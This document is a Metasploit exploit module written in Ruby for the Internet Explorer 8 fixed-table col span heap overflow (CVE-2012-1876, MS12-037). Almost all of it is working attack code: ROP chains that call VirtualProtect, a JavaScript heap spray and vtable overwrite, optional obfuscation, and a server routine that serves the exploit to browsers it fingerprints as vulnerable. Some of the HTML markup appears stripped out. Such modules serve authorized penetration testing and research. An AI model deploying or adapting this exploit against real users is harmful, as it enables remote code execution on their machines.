## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ # :os_name => OperatingSystems::Match::WINDOWS, # :ua_minver => "8.0", # :ua_maxver => "8.0", # :rank => NormalRanking, # reliable memory corruption # :javascript => true #}) def initialize(info = {}) super(update_info(info, 'Name' => 'MS12-037 Microsoft Internet Explorer Fixed Table Col Span Heap Overflow', 'Description' => %q{ This module exploits a heap overflow vulnerability in Internet Explorer caused by an incorrect handling of the span attribute for col elements from a fixed table, when they are modified dynamically by javascript code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Alexandre Pelletier', # Vulnerability analysis 'mr_me ', # Metasploit module 'binjo', # Metasploit module 'sinn3r', # Help with the Metasploit module 'juan vazquez' # Help with the Metasploit module ], 'References' => [ [ 'CVE', '2012-1876' ], [ 'OSVDB', '82866'], [ 'BID', '53848' ], [ 'MSB', 'MS12-037' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3 with msvcrt ROP', { 'Rop' => :msvcrt } ], [ 'IE 8 on Windows 7 SP1', { 'Rop' => :jre } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jun 12 2012', 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[1] #IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/ return targets[2] #IE 8 on Windows 7 with JRE else return nil end end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def nop return make_nops(4).unpack("V").first end def get_payload(t) code = payload.encoded # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") exec_size = code.length rop = [ 0x77c4ec01, # retn 0x77c4ec00, # pop ebp; retn 0x77c15ed5, # xchg eax,esp; retn (pivot) 0x77c4e392, # pop eax; retn 0x77c11120, # <- *&VirtualProtect() 0x77c2e493, # mov eax, dword ptr ds:[eax]; pop ebp; retn junk, 0x77c2dd6c, 0x77c4ec00, # pop ebp; retn 0x77c35459, # ptr to 'push esp; ret' 0x77c47705, # pop ebx; retn exec_size, # ebx 0x77c3ea01, # pop ecx; retn 0x77c5d000, # W pointer (lpOldProtect) (-> ecx) 0x77c46100, # pop edi; retn 0x77c46101, # rop nop (-> edi) 0x77c4d680, # pop edx; retn 0x00000040, # newProtect (0x40) (-> edx) 0x77c4e392, # pop eax; retn nop, # nops (-> eax) 0x77c12df9 # pushad; retn ].pack("V*") when :jre print_status("Using JRE ROP") exec_size = code.length rop = [ 0x7c346c0b, # retn 0x7c36f970, # pop ebp; retn 0x7c348b05, # xchg eax,esp; retn (pivot) 0x7c36f970, # pop ebp; retn [MSVCR71.dll] 0x7c36f970, # skip 4 bytes [MSVCR71.dll] 0x7c34373a, # pop ebx ; retn [MSVCR71.dll] exec_size, # ebx 0x7c3444d0, # pop edx ; retn [MSVCR71.dll] 0x00000040, # 0x00000040-> edx 0x7c361829, # pop ecx ; retn [MSVCR71.dll] 0x7c38f036, # &Writable location [MSVCR71.dll] 0x7c342766, # pop edi ; retn [MSVCR71.dll] 0x7c346c0b, # retn (rop nop) [MSVCR71.dll] 0x7c350564, # pop esi ; retn [MSVCR71.dll] 0x7c3415a2, # jmp [eax] [MSVCR71.dll] 0x7c3766ff, # pop eax ; retn [MSVCR71.dll] 0x7c37a151, # ptr to &VirtualProtect() - 0x0ef [IAT msvcr71.dll] 0x7c378c81, # pushad # add al,0ef ; retn [MSVCR71.dll] 0x7c345c30 # ptr to 'push esp; ret ' [MSVCR71.dll] ].pack("V*") end code = rop + code return code end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end js_code = Rex::Text.to_unescape(get_payload(my_target), Rex::Arch.endian(target.arch)) table_builder = '' 0.upto(132) do |i| table_builder << " 
" end # About smash_vtable(): # * smash the vftable 0x07070024 # * span => the amount to overwrite js_element_id = Rex::Text.rand_text_alpha(4) spray_trigger_js = <<-JS var dap = "EEEE"; while ( dap.length < 480 ) dap += dap; var padding = "AAAA"; while ( padding.length < 480 ) padding += padding; var filler = "BBBB"; while ( filler.length < 480 ) filler += filler; var arr = new Array(); var rra = new Array(); var div_container = document.getElementById("#{js_element_id}"); div_container.style.cssText = "display:none"; for (var i=0; i < 500; i+=2) { rra[i] = dap.substring(0, (0x100-6)/2); arr[i] = padding.substring(0, (0x100-6)/2); arr[i+1] = filler.substring(0, (0x100-6)/2); var obj = document.createElement("button"); div_container.appendChild(obj); } for (var i=200; i<500; i+=2 ) { rra[i] = null; CollectGarbage(); } function heap_spray(){ CollectGarbage(); var shellcode = unescape("#{js_code}"); while (shellcode.length < 100000) shellcode = shellcode + shellcode; var onemeg = shellcode.substr(0, 64*1024/2); for (i=0; i<14; i++) { onemeg += shellcode.substr(0, 64*1024/2); } onemeg += shellcode.substr(0, (64*1024/2)-(38/2)); var spray = new Array(); for (i=0; i<400; i++) { spray[i] = onemeg.substr(0, onemeg.length); } } function smash_vtable(){ var obj_col_0 = document.getElementById("132"); obj_col_0.width = "1178993"; obj_col_0.span = "44"; } setTimeout(function(){heap_spray()}, 400); setTimeout(function(){smash_vtable()}, 700); JS if datastore['OBFUSCATE'] spray_trigger_js = ::Rex::Exploitation::JSObfu.new(spray_trigger_js) spray_trigger_js.obfuscate end # build html content = <<-HTML
#{table_builder} HTML print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) end end